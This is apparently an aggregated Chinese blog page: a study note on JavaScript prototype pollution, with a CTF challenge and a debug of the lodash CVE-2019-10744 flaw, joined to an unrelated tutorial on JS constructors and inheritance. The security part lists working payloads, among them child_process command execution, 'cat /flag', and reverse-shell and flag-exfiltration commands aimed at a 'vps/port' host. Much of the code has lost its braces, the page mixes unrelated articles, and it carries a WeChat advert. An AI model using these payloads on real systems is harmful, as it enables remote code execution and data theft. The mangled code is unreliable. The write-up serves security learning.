JavaScript原型链污染学习记录
Posted 蚁景科技
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了JavaScript原型链污染学习记录相关的知识,希望对你有一定的参考价值。
1.JS原型和继承机制
0> 原型及其搜索机制
-
NodeJS原型机制,比较官方的定义:
我们创建的每个函数都有一个 prototype(原型)属性,这个属性是一个指针,指向一个对象,
而这个对象的用途是包含可以由特定类型的所有实例共享的属性和方法
设计原型的初衷无非是对于每个实例对象,其拥有的共同属性没必要对每个对象实例再分配一片内存来存放这个属性。而可以上升到所有对象共享这个属性,而这个属性的实体在内存中也仅仅只有一份。
而原型机制恰好满足这种需求。
打个不太恰当的比喻,对于每个对象,都有其原型对象作为共享仓库,共享仓库中有属性和方法供生产每个对象实例时使用
1> 原型链和继承
-
原型链
原型链是在原型上实现继承的一种形式
举个例子:
function Father()
this.name = "father";
this.age = 66;
function Son()
this.name = "son";
var father1 = new Father();
Son.prototype = father1;
var son1 = new Son();
console.log(son1);
console.log(son1.__proto__);
console.log(son1.__proto__.__proto__);
console.log(son1.__proto__.__proto__.__proto__);
console.log(son1.__proto__.__proto__.__proto__.__proto__);
/*
Father name: \'son\'
Father name: \'father\', age: 66
[Object: null prototype]
null
*/
整个的原型继承链如下:
-
关于原型搜索机制:
1)搜索当前实例属性
2)搜索当前实例的原型属性
3)迭代搜索直至null
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
在上面的例子中
console.log(son1.name);
console.log(son1.age);
/*
son
66
*/
2> 内置对象的原型
这个也是多级原型链污染的基础
拿一张业内很经典的图来看看
2.姿势利用
1>利用原型污染进行RCE
global.process.mainModule.constructor._load(\'child_process\').execSync(\'calc\')
2>多级污染
在ctfshow Web340中有这么一题:
/* login.js */
var user = new function()
this.userinfo = new function()
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
;
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin)
res.end(flag);
由于Function
原型对象的原型也是Object
的原型,即
user --(__proto__)--> Function.prototype --(__proto__)--> Object.prototype
那么就可以通过这个进行多级污染,payload为如下形式:
"__proto__":
"__proto__":
attack_code
3>Lodash模块的原型链污染(以lodash.defaultsDeep(CVE-2019-10744)为例,进行CVE复现)
lodash版本 < 4.17.12
CVE-2019-10744:在低版本中的lodash.defaultDeep函数中,Object对象可以被原型链污染,从而可以配合其他漏洞。
看下官方样例PoC的调试过程:
const lodash = require(\'lodash\');
const payload = \'"constructor": "prototype": "whoami": "hack"\'
function check()
lodash.defaultsDeep(, JSON.parse(payload));
if (()[\'whoami\'] === "hack")
console.log(`Vulnerable to Prototype Pollution via $payload`);
console.log(Object.prototype);
check();
开始调试:
在lodash中,baseRest是一个辅助函数,用于帮助创建一个接受可变数量参数的函数。
所以主体逻辑为,而这段匿名函数也将为func
的函数的函数体
args.push(undefined, customDefaultsMerge);
return apply(mergeWith, undefined, args);
查看overRest
在变量监听中可以发现,传入的参数整合成一个参数对象args
继续往下return apply
到apply
后进入,是个使用switch
并且根据参数个数作为依据
发现使用了call
,这里可能是个进行原型链继承的可利用点。
(而这种技术称为借用构造函数,其思想就是通过子类构造函数中调用超类构造函数完成原型链继承)
function Super()
function Sub()
Super.call(this); // 继承
然后apply
中返回至刚才的匿名函数体中(此时刚执行完baseRest(func)),其中customDefaultMerge
为merge
的声明方式
继续深入,由上可知apply(func=mergeWith,thisArg=undefined,args=Array[4])
基于start
的计算机制,不难得知undefined
是作为占位符,使得start
向后移动
继续调试,在NodeJS中,普通函数中调用this
等同于调用全局对象global
将assigner
视为合并的一个黑盒函数即可,至此完成原型链污染。
Question: 注意到PoC中的
lodash.defaultsDeep(, JSON.parse(payload));
是要求先传入一个object
实例的(此处为)
所以还是具体分析一下合并的过程(来看下
assigner
的一些底层实现)注意:通常而言,合并需要考虑深浅拷贝的问题
/*baseMerge*/
function baseMerge(object, source, srcIndex, customizer, stack)
if (object === source) // 优化判断是否为同一对象,是则直接返回
return;
// 遍历source的属性,选择深浅复制
baseFor(source, function(srcValue, key)
if (isObject(srcValue))
stack || (stack = new Stack);
baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);
else
var newValue = customizer
? customizer(safeGet(object, key), srcValue, (key + \'\'), object, source, stack)
: undefined;
if (newValue === undefined)
newValue = srcValue;
assignMergeValue(object, key, newValue);
, keysIn);
var baseFor = createBaseFor();
function createBaseFor(fromRight) // fromRight选择从哪端开始遍历
return function(object, iteratee, keysFunc)
var index = -1,
iterable = Object(object),
props = keysFunc(object),
length = props.length;
while (length--)
var key = props[fromRight ? length : ++index];
if (iteratee(iterable[key], key, iterable) === false) // 这里的iteratee即为baseFor中的匿名函数
break;
return object;
;
那我就再调试一下,在iteratee
中(即匿名函数中),若为对象,则选择深拷贝。
原来在4.17.12之前的版本也是有waf的,只是比较弱。
回归正题,在customizer
之后便产生了合并
所以,为了更好地观察,我将替换成
[]
(Array
对象实例)
重新开始调试到此处并进入,发现这是一个迭代合并的过程,先判断是否都为对象。如果是的话,则会进行压栈然后开始浅拷贝合并。
这是在生成属性时需要设置的四种数据属性
回归正题,发现只能写入Array
的原型
再验证一下
const lodash = require(\'lodash\');
const payload = \'"constructor": "prototype": "whoami": "hack"\'
var object = new Object();
function check()
// JSON.parse(payload)之后是一个JS对象
lodash.defaultsDeep([],JSON.parse(payload));
if (()[\'whoami\'] === "hack")
console.log(`Vulnerable to Prototype Pollution via $payload`);
console.log(Object.prototype);
check();
console.log(Array.prototype);
所以说需要直接传入一个Object
的实例。
官方修复,直接上waf:检测JSON中的payload中的key值
此处对比一下lodash4.17.12之前的版本,key值过滤得更为严格
总结一下,CVE-2019-10744可用的payload
# 反弹shell
"constructor":"prototype":
"outputFunctionName":"a=1;process.mainModule.require(\'child_process\').exec(\'bash -c \\"echo $FLAG>/dev/tcp/vps/port \\"\')//"
# RCE
// 对于某个object实例
"__proto__":"outputFunctionName":"a=1;return global.process.mainModule.constructor._load(\'child_process\').execSync(\'cat /flag\')//"
# 反弹shell
"__proto__":"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'bash -c \\"bash -i >& /dev/tcp/vps/port 0>&1\\"\');var __tmp2"
更多网安技能的在线实操练习,请点击这里>>
JavaScript函数原型链知识记录
1 构造函数
构造函数是专门用于创建对象的
function Person(myName, myAge) { // let obj = new Object(); // 系统自动添加的 // let this = obj; // 系统自动添加的 this.name = myName; this.age = myAge; this.say = function () { console.log("hello world"); } // return this; // 系统自动添加的 }
1.当我们new Person("lnj", 34);系统做了什么事情
1.1会在构造函数中自动创建一个对象
1.2会自动将刚才创建的对象赋值给this
1.3会在构造函数的最后自动添加return this;
let obj1 = new Person("lnj", 34); let obj2 = new Person("zs", 44); console.log(obj1); console.log(obj2);
构造函数的优化:
上面构造函数的定义有一个弊端,如下
let obj1 = new Person("lnj", 34);
let obj2 = new Person("zs", 44);
由于两个对象中的say方法的实现都是一样的, 但是保存到了不同的存储空间中
所以有性能问题
console.log(obj1.say === obj2.say); // false
通过三个等号来判断两个函数名称, 表示判断两个函数是否都存储在同一块内存中
优化方式1:
function mySay() { console.log("hello world"); } function Person(myName, myAge) { // let obj = new Object(); // 系统自动添加的 // let this = obj; // 系统自动添加的 this.name = myName; this.age = myAge; this.say = mySay; // return this; // 系统自动添加的 } let obj1 = new Person("lnj", 34); let obj2 = new Person("zs", 44); console.log(obj1.say === obj2.say); // true
但是这种方式也是有弊端的,
1.1阅读性降低了
1.2污染了全局的命名空间
优化方式2:
function Person(myName, myAge) { // let obj = new Object(); // 系统自动添加的 // let this = obj; // 系统自动添加的 this.name = myName; this.age = myAge; // this.say = fns.mySay; // return this; // 系统自动添加的 } Person.prototype = { say: function () { console.log("hello world"); } } let obj1 = new Person("lnj", 34); obj1.say(); let obj2 = new Person("zs", 44); obj2.say(); console.log(obj1.say === obj2.say); // true
通过改写构造函数的 原型对象,让方法say变得公用
3 prototype特点:
1.1存储在prototype中的方法可以被对应构造函数创建出来的所有对象共享
1.2prototype中除了可以存储方法以外, 还可以存储属性
1.3prototype如果出现了和构造函数中同名的属性或者方法, 对象在访问的时候, 访问到的是构造函中的数据
2.prototype应用场景
prototype中一般情况下用于存储所有对象都相同的一些属性以及方法
如果是对象特有的属性或者方法, 我们会存储到构造函数中
function Person(myName, myAge) { this.name = myName; this.age = myAge; this.currentType = "构造函数中的type"; this.say = function () { console.log("构造函数中的say"); } } Person.prototype = { currentType: "人", say: function () { console.log("hello world"); } } let obj1 = new Person("lnj", 34); obj1.say(); console.log(obj1.currentType); let obj2 = new Person("zs", 44); obj2.say(); console.log(obj2.currentType);
4 prototype,constructor, __proto__的三角恋关系
1.每个"构造函数"中都有一个默认的属性, 叫做prototype
prototype属性保存着一个对象, 这个对象我们称之为"原型对象"
2.每个"原型对象"中都有一个默认的属性, 叫做constructor
constructor指向当前原型对象对应的那个"构造函数"
3.通过构造函数创建出来的对象我们称之为"实例对象"
每个"实例对象"中都有一个默认的属性, 叫做__proto__
__proto__指向创建它的那个构造函数的"原型对象"
function Person(myName, myAge) { this.name = myName; this.age = myAge; } let obj1 = new Person("lnj", 34); console.log(Person.prototype); console.log(Person.prototype.constructor); console.log(obj1.__proto__);
5 Function函数
1.JavaScript中函数是引用类型(对象类型), 既然是对象,
所以也是通过构造函数创建出来的,"所有函数"都是通过Function构造函数创建出来的对象
2.JavaScript中只要是"函数"就有prototype属性
"Function函数"的prototype属性指向"Function原型对象"
3.JavaScript中只要"原型对象"就有constructor属性
"Function原型对象"的constructor指向它对应的构造函数
4.Person构造函数是Function构造函数的实例对象, 所以也有__proto__属性
Person构造函数的__proto__属性指向"Function原型对象"
5 Object函数
1. JavaScript函数是引用类型(对象类型), 所以Function函数也是对象
2."Function构造函数"也是一个对象, 所以也有__proto__属性
"Function构造函数"__proto__属性指向"Function原型对象"
3. JavaScript中还有一个系统提供的构造函数叫做Object
只要是函数都是"Function构造函数"的实例对象
4.只要是对象就有__proto__属性, 所以"Object构造函数"也有__proto__属性
"Object构造函数"的__proto__属性指向创建它那个构造函数的"原型对象"
5.只要是构造函数都有一个默认的属性, 叫做prototype
prototype属性保存着一个对象, 这个对象我们称之为"原型对象"
6.只要是原型对象都有一个默认的属性, 叫做constructor
constructor指向当前原型对象对应的那个"构造函数"
function Person(myName, myAge) { this.name = myName; this.age = myAge; } let obj1 = new Person("lnj", 34); console.log(Function.__proto__); console.log(Function.__proto__ === Function.prototype); // true console.log(Object); console.log(Object.__proto__); console.log(Object.__proto__ === Function.prototype); // true console.log(Object.prototype); console.log(Object.prototype.constructor); console.log(Object.prototype.constructor === Object); // true console.log(Object.prototype.__proto__); // null
6 函数对象关系
1.所有的构造函数都有一个prototype属性, 所有prototype属性都指向自己的原型对象
2,所有的原型对象都有一个constructor属性, 所有constructor属性都指向自己的构造函数
3.所有函数都是Function构造函数的实例对象
4.所有函数都是对象, 包括Function构造函数
5.所有对象都有__proto__属性
6.普通对象的__proto__属性指向创建它的那个构造函数对应的"原型对象"
7.所有对象的__proto__属性最终都会指向"Object原型对象"
8."Object原型对象"的__proto__属性指向NULL
Object ,Function,实例对象的总图:
function Person(myName, myAge) { this.name = myName; this.age = myAge; } let obj1 = new Person("lnj", 34); console.log(Function.prototype.__proto__); console.log(Person.prototype.__proto__); console.log(Function.prototype.__proto__ === Person.prototype.__proto__);//true console.log(Function.prototype.__proto__ === Object.prototype);//true console.log(Person.prototype.__proto__ === Object.prototype);//true
7 原型链
1.对象中__proto__组成的链条我们称之为原型链
2.对象在查找属性和方法的时候, 会先在当前对象查找
如果当前对象中找不到想要的, 会依次去上一级原型对象中查找
如果找到Object原型对象都没有找到, 就会报错
function Person(myName, myAge) { this.name = myName; this.age = myAge; // this.currentType = "构造函数中的type"; // this.say = function () { // console.log("构造函数中的say"); // } } Person.prototype = { // 注意点: 为了不破坏原有的关系, 在给prototype赋值的时候, 需要在自定义的对象中手动的添加constructor属性, 手动的指定需要指向谁 constructor: Person, // currentType: "人", // say: function () { // console.log("hello world"); // } } let obj1 = new Person("lnj", 34); // obj1.say(); console.log(obj1.currentType); // console.log(Person.prototype.constructor);
8 属性注意点
在给一个对象不存在的属性设置值的时候, 不会去原型对象中查找, 如果当前对象没有就会给当前对象新增一个不存在的属性
function Person(myName, myAge) { this.name = myName; this.age = myAge; } Person.prototype = { constructor: Person, currentType: "人", say: function () { console.log("hello world"); } } let obj = new Person("lnj", 34); // console.log(obj.currentType); // "人" // console.log(obj.__proto__.currentType); // "人" // 注意点: 在给一个对象不存在的属性设置值的时候, 不会去原型对象中查找, 如果当前对象没有就会给当前对象新增一个不存在的属性 obj.currentType = "新设置的值"; console.log(obj.currentType); // 新设置的值 console.log(obj.__proto__.currentType); // "人"
9 js三大特性之一-封装性
1.局部变量和局部函数
无论是ES6之前还是ES6, 只要定义一个函数就会开启一个新的作用域
只要在这个新的作用域中, 通过let/var定义的变量就是局部变量
只要在这个新的作用域中, 定义的函数就是局部函数
2.什么是对象的私有变量和函数
默认情况下对象中的属性和方法都是公有的, 只要拿到对象就能操作对象的属性和方法
外界不能直接访问的变量和函数就是私有变量和是有函数
构造函数的本质也是一个函数, 所以也会开启一个新的作用域, 所以在构造函数中定义的变量和函数就是私有和函数
*/
/*
3.什么是封装?
封装性就是隐藏实现细节,仅对外公开接口
4.为什么要封装?
4.1不封装的缺点:当一个类把自己的成员变量暴露给外部的时候,那么该类就失去对属性的管理权,别人可以任意的修改你的属性
4.2封装就是将数据隐藏起来,只能用此类的方法才可以读取或者设置数据,不可被外部任意修改. 封装是面向对象设计本质(将变化隔离)。这样降低了数据被误用的可能 (提高安全性和灵活性)
function Person() { this.name = "lnj"; // this.age = 34; let age = 34; this.setAge = function (myAge) { if(myAge >= 0){ age = myAge; } } this.getAge = function () { return age; } this.say = function () { console.log("hello world"); } /* // 由于构造函数也是一个函数, 所以也会开启一个新的作用域 // 所以在构造函数中通过var/let定义的变量也是局部变量 // 所以在构造函数中定义的函数也是局部函数 var num = 123; let value = 456; function test() { console.log("test"); } */ } let obj = new Person(); // 结论: 默认情况下对象的属性和方法都是公开的, 只要拿到对象就可以操作对象的属性和方法 // console.log(obj.name); // obj.age = -3; // console.log(obj.age); // obj.say(); // console.log(age); obj.setAge(-3); console.log(obj.getAge());
10 私有属性注意点
在给一个对象不存在的属性设置值的时候, 不会去原型对象中查找, 如果当前对象没有就会给当前对象新增一个不存在的属性
由于私有属性的本质就是一个局部变量, 并不是真正的属性, 所以如果通过 对象.xxx的方式是找不到私有属性的, 所以会给当前对象
11 属性方法分类
1.在JavaScript中属性和方法分类两类
1.1实例属性/实例方法
在企业开发中通过实例对象访问的属性, 我们就称之为实例属性
在企业开发中通过实例对象调用的方法, 我们就称之为实例方法
1.2静态属性/静态方法
在企业开发中通过构造函数访问的属性, 我们就称之为静态属性
在企业开发中通过构造函数调用的方法, 我们就称之为静态方法
function Person() { this.name = "lnj"; this.say = function () { console.log("hello world"); } } // 通过构造函数创建的对象, 我们称之为"实例对象" let obj = new Person(); console.log(obj.name); obj.say(); obj.age = 34; console.log(obj.age); obj.eat = function () { console.log("eat"); } obj.eat(); // 构造函数也是一个"对象", 所以我们也可以给构造函数动态添加属性和方法 Person.num = 666; Person.run = function () { console.log("run"); } console.log(Person.num); Person.run();
12 bind call apply
1.this是什么?
谁调用当前函数或者方法, this就是谁
*/
/*
2.这三个方法的作用是什么?
这三个方法都是用于修改函数或者方法中的this的
2.1.bind方法作用
修改函数或者方法中的this为指定的对象, 并且会返回一个修改之后的新函数给我们
注意点: bind方法除了可以修改this以外, 还可以传递参数, 只不过参数必须写在this对象的后面
2.2.call方法作用
修改函数或者方法中的this为指定的对象, 并且会立即调用修改之后的函数
注意点: call方法除了可以修改this以外, 还可以传递参数, 只不过参数必须写在this对象的后面
2.3.apply方法作用
修改函数或者方法中的this为指定的对象, 并且会立即调用修改之后的函数
注意点: apply方法除了可以修改this以外, 还可以传递参数, 只不过参数必须通过数组的方式传递
let obj = { name: "zs" } function test(a, b) { console.log(a, b); console.log(this); } test(10, 20); window.test(); let fn = test.bind(obj, 10, 20); fn(); test.call(obj, 10, 20); test.apply(obj, [10, 20]); function Person() { this.name = "lnj"; this.say = function () { console.log(this); } } let p = new Person(); p.say(); let fn = p.say.bind(obj); fn(); p.say.call(obj); p.say.apply(obj);
13 js三大特性之继承性
方式一:
function Person() { this.name = null; this.age = 0; this.say = function () { console.log(this.name, this.age); } } let per = new Person(); per.name = "lnj"; per.age = 34; per.say(); // 在企业开发中如果构造函数和构造函数之间的关系是is a关系, 那么就可以使用继承来优化代码, 来减少代码的冗余度 // 学生 is a 人 , 学生是一个人 function Student() { // this.name = null; // this.age = 0; // this.say = function () { // console.log(this.name, this.age); // } this.score = 0; this.study = function () { console.log("day day up"); } } Student.prototype = new Person(); Student.prototype.constructor = Student; let stu = new Student(); stu.name = "zs"; stu.age = 18; stu.score = 99; stu.say(); stu.study();
弊端:
调用子类构造函数创建对象的时候,无法访问父类的属性
function Person(myName, myAge) { this.name = myName; this.age = myAge; this.say = function () { console.log(this.name, this.age); } } // let per = new Person("lnj", 34); // per.say(); // 学生 is a 人 , 学生是一个人 function Student(myName, myAge, myScore) { //无法访问到父类的属性 this.score = myScore; this.study = function () { console.log("day day up"); } } // let stu = new Student(); // stu.name = "zs"; // stu.age = 18; // stu.score = 99; // stu.say(); // stu.study();
方式二:
function Person(myName, myAge) { // let per = new Object(); // let this = per; // this = stu; this.name = myName; // stu.name = myName; this.age = myAge; // stu.age = myAge; this.say = function () { // stu.say = function () {} console.log(this.name, this.age); } // return this; } function Student(myName, myAge, myScore) { // let stu = new Object(); // let this = stu; Person.call(this, myName, myAge); // Person.call(stu); this.score = myScore; this.study = function () { console.log("day day up"); } // return this; } let stu = new Student("ww", 19, 99); // stu.name = "zs"; // stu.age = 18; // stu.score = 99; console.log(stu.score); stu.say(); stu.study();
弊端:访问不到 父类 原型对象 中的属性和方法
方式三:
function Person(myName, myAge) { // let per = new Object(); // let this = per; // this = stu; this.name = myName; // stu.name = myName; this.age = myAge; // stu.age = myAge; this.sex = 1; // this.say = function () { // stu.say = function () {} // console.log(this.name, this.age); // } // return this; } Person.prototype.say = function () { console.log(this.name, this.age); } function Student(myName, myAge, myScore) { Person.call(this, myName, myAge); this.score = myScore; this.study = function () { console.log("day day up"); } } // 注意点: 要想使用Person原型对象中的属性和方法, 那么就必须将Student的原型对象改为Person的原型对象才可以 Student.prototype = Person.prototype; Student.prototype.constructor = Student; let stu = new Student("ww", 19, 99); console.log(stu.score); stu.say(); stu.study();
弊端:让子类的原型对象和父类的原型对象是一个,如果在其中一个 修改原型对象,会影响另一个
方式四:终极方案
1.js中继承的终极方法
1.1在子类的构造函数中通过call借助父类的构造函数
1.2将子类的原型对象修改为父类的实例对象
function Person(myName, myAge) { // let per = new Object(); // let this = per; // this = stu; this.name = myName; // stu.name = myName; this.age = myAge; // stu.age = myAge; // return this; } Person.prototype.say = function () { console.log(this.name, this.age); } function Student(myName, myAge, myScore) { Person.call(this, myName, myAge); this.score = myScore; this.study = function () { console.log("day day up"); } } /* 弊端: 1.由于修改了Person原型对象的constructor属性, 所以破坏了Person的三角恋关系 2.由于Person和Student的原型对象是同一个, 所以给Student的元素添加方法, Person也会新增方法 */ // Student.prototype = Person.prototype; Student.prototype = new Person(); Student.prototype.constructor = Student; Student.prototype.run = function(){ console.log("run"); } let per = new Person(); per.run();
/* 1.什么是强类型语言, 什么是是弱类型语言 1.1什么是强类型语言: 一般编译型语言都是强类型语言, 强类型语言,要求变量的使用要严格符合定义 例如定义 int num; 那么num中将来就只能够存储整型数据 1.2什么是弱类型语言: 一般解释型语言都是弱类型语言, 弱类型语言, 不会要求变量的使用要严格符合定义 例如定义 let num; num中既可以存储整型, 也可以存储布尔类型等 1.3由于js语言是弱类型的语言, 所以我们不用关注多态 2.什么是多态? 多态是指事物的多种状态 例如: 按下 F1 键这个动作, 如果当前在 webstorm 界面下弹出的就是 webstorm 的帮助文档; 如果当前在 Word 下弹出的就是 Word 帮助; 同一个事件发生在不同的对象上会产生不同的结果。 3.多态在编程语言中的体现 父类型变量保存子类型对象, 父类型变量当前保存的对象不同, 产生的结果也不同 */ // function Animal(myName) { // this.name = myName; // this.eat = function () { // console.log(this.name + " 动物吃东西"); // } // } function Dog() { // Animal.call(this, myName); this.eat = function () { console.log(" 狗吃东西"); } } // Dog.prototype = new Animal(); // Dog.prototype.constructor = Dog; function Cat() { // Animal.call(this, myName); this.eat = function () { console.log(" 猫吃东西"); } } // Cat.prototype = new Animal(); // Cat.prototype.constructor = Cat; // function feed(Dog animal) { // animal.eat(); // 狗吃东西 // } // function feed(Cat animal) { // animal.eat(); // 猫吃东西 // } // function feed(Animal animal) { // animal.eat(); // 狗吃东西 // } function feed(animal){ animal.eat(); } let dog = new Dog(); feed(dog); let cat = new Cat(); feed(cat);
以上是关于JavaScript原型链污染学习记录的主要内容,如果未能解决你的问题,请参考以下文章
Kibana漏洞之javascript原型链污染又文件包含漏洞的非常详细的分析的黑客教程